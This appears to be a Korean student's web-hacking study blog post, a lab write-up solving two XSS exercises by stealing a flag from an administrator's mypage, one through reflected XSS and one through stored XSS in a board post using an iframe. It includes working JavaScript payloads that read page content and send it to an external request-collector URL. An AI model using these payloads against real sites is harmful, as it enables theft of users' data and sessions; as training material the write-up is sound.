본문 바로가기

웹 해킹

웹 해킹 공부 일기장 7-과제1 (XSS)

1. Mypage에서 XSS가 일어난다! Flag 찾기

 

1) XSS 포인트 찾기

XSS Point

 

요청 시 user 값을 전달하여 마이페이지의 이름 부분에 값을 채워주며 해당 부분에 특수 문자를 <'"> 넣으니 응답에서 그대로 출력되는 것을 확인할 수 있습니다.

 

여기서 우리가 원하는 스크립트를 삽입하여 응답 시 실행시킬 수 있을 것입니다.

 

2) 스크립트 삽입

스크립트 삽입

 

처음에 "> 을 입력해주면서 input 태그를 마무리 지은 다음 원하는 스크립트를 삽입합니다.

응답을 확인해보니 우리가 원하는 데로 출력되는 것이 확인되며 우리가 보낸 데이터가 응답에 그대로 돌아오는 Reflected XSS 이기 때문에 스크립트가 포함된 요청을 보내야 실행됩니다.

스크립트 실행

스크립트가 실행되는 것도 확인했습니다.

 

이제 중요한 정보를 빼내는 것까지 해보겠습니다.

 

3) flag 찾기

관리자의 마이페이지에서 중요한 정보를 찾으라고 했습니다.

관리자의 마이페이지와 우리의 마이페이지의 형태는 같지만, 안의 값만 다를 것입니다.

마이페이지

 

마이페이지 Flag Here..! 부분에 아마 우리가 원하는 정보가 있지 않을까 생각할 수 있습니다.

그럼!! 관리자가 해당 부분의 글자를 우리 서버에 보내는 스크립트를 작성하면 해결할 수 있을 것 같습니다.

즉, 쿠키 탈취를 할 때처럼 쿠키 대신 해당 글자를 보내는 것입니다.

 

쿠키를 접근할 때는 document.cookie로 쿠키를 가져올 수 있었습니다.

우리가 원하는 글자를 페이지에서 접근하려면 DOM 객체를 사용하여 접근하여 가져오면 됩니다.

 

flag 태그 정보

 

<input name="info" type="text" placehoder="Flag Here..!">

라는 곳에 원하는 정보가 저장되어 있습니다.

 

태그는 input, name은 info 라는 정보를 통해 해당 태그에 접근해봅시다.

태그로 접근

input 태그가 4개가 있으며 우리가 원하는 Element는 2번째이기 때문에 인덱스로 1을 적어 접근한 모습입니다.

 

name 으로 접근

name 이 info 인 Element 는 1밖에 없지만 name은 똑같은 이름이 여러개 나올 수 있기때문에 리스트로 반환하여 인덱스로 접근을 반드시 인덱스로 접근해주어야합니다.

 

둘 중 아무거나 사용하면 됩니다.

우리가 원하는 정보는 placeholder 속성안에 저장되어있습니다.

속성은 [Element].[속성 이름] 을 작성하여 접근할 수 있습니다.

원하는 정보의 위치 찾기

 

이제 스크립트에 해당 위치에 있는 flag를 읽어 공격자 서버로 전송해주는 스크립트만 작성해주면 끝입니다.

// flag 가져오기
var flag = document.getElementsByName('info')[0].placeholder;

var i = new Image();
// flag와 함께 요청보내기
i.src = 'https://en793hi7qhxbd.x.pipedream.net/?flag='+flag;">

 

img 태그의 이벤트 핸들러를 사용하여 스크립트를 실행해보겠습니다.

링크 만들기
원하는 정보 획득

 

우리가 생각한 정보가 전달되는 것도 확인했습니다! 이제 마지막으로 관리자가 해당 링크로만 접속한다면 관리자의 정보를 획득할 수 있습니다.

관리자 링크 접속

 

flag 찾기

 

관리자의 정보를 획득하였습니다.

 

2. XSS를 이용해 중요 정보를 탈취해라!

1) XSS 포인트 찾기

게시글 입력 및 수정

 

SQL Injection Point

 

게시글 내용 부분에 우리가 입력한 특수문자가 그대로 들어가며 게시글이 저장되어 해당 게시글을 불러오는 과정에서 XSS 취약점이 발생할 수 있습니다.

 

2) 스크립트 작성

스크립트 삽입
스크립트 실행

 

게시글을 불러오면 사진과 같이 우리가 원하는 스크립트를 실행시킬 수 있습니다.

 

3) flag 찾기

하지만, 취약점이 발생한 게시글에는 우리가 원하는 정보가 없어 다른 페이지에서 flag를 찾아야합니다.

그럴때 iframe 을 사용하여 해당 페이지를 그대로 게시글에 옮겨와 접근하여 flag를 찾으면 됩니다.

 

가져올 페이지

 

우리가 접속 가능한 마이페이지이며 관리자의 마이페이지도 똑같이 생겼으며 정보만 다릅니다.

일단, 이 페이지를 게시글에 가져오는 것부터 해보겠습니다.

 

iframe태그를 사용하며 src의 속성에 가져올 페이지 주소를 작성하면 됩니다.

마이페이지 가져오는 스크립트 작성
마이페이지 가져온 모습

 

마이페이지를 가져온 것을 확인할 수 있습니다. 이제 원하는 정보가 있는 Element에 접근하여 해당 정보를 가져오면 됩니다.

html 확인

 

<p class="card-text">This is a Very Secret Info.</p>

라는 정보에 flag가 저장되어있습니다. (문제를 미리 풀어서 알고있습니다...)

 

class 가 card-text인 것으로 가져오면 좋을 것 같습니다.

원하는 Element 접근

 

class 가 card-text 인 것이 두개가 있습니다. 이 중 두번째에 원하는 정보가 있기 때문에 document.getElementsByClassName('card-text')[1]; 로 접근해줍니다.

 

우리가 필요한것은 안의 내용입니다. innerHTML 을 사용해도 되고 textContent를 사용해서 읽어도 됩니다.

글자만 가져오기

 

이제 이 정보를 읽어 공격자 서버로 보내어 잘 작동 되는 지 확인해봅니다.

window.addEventListener('DOMContentLoaded', function() {
// iframe id로 iframe 가져오기
var a = document.getElementById('test');
// iframe 을 DOM 객체 가져오기
var b = a.contentDocument;

var flag = b.querySelectorAll('p')[1].innerHTML;

var i = new Image();
i.src = "https://en793hi7qhxbd.x.pipedream.net/?flag="+flag;
})

 

window.addEventListener('DOMContentLoaded', function) 을 사용하였는데 이것은 브라우저가 HTML을 위에서 부터 차례대로 처리하기 때문에 중간에 스크립트를 만나면 나머지 뒷 부분을 처리하기 전에 스크립트를 실행시키기 때문에 아직 로드되지 못한 곳에 접근할 수 있습니다.

 

그렇기 때문에 해당 핸들러를 사용하여 DOM 객체가 모두 로드된 후에 처리될 수 있도록 해줍니다.

원하는 정보 보내는 코드 작성

 

해당 게시글을 읽으려고 들어오면 스크립트가 실행되어 마이페이지에서 정보를 가져와 공격자로 보낼 것입니다.

정보 확인

 

우리가 생각한 글자가 공격자 서버로 보내진 것을 확인할 수 있습니다.

 

이제 관리자가 해당 게시글을 읽어 관리자의 마이페이지에서 flag를 전송하게 하면 됩니다.

 

iframe주소를 관리자의 마이페이지로 바꾸기만 하면 됩니다.

관리자 마이페이지로 스크립트 수정
관리자가 게시글 읽기
flag 확인

 

XSS 취약점이 발생하는 곳과 중요한 정보가 있는 곳이 다를 경우에도 해당 방법과 같이 정보를 가져올 수 있습니다.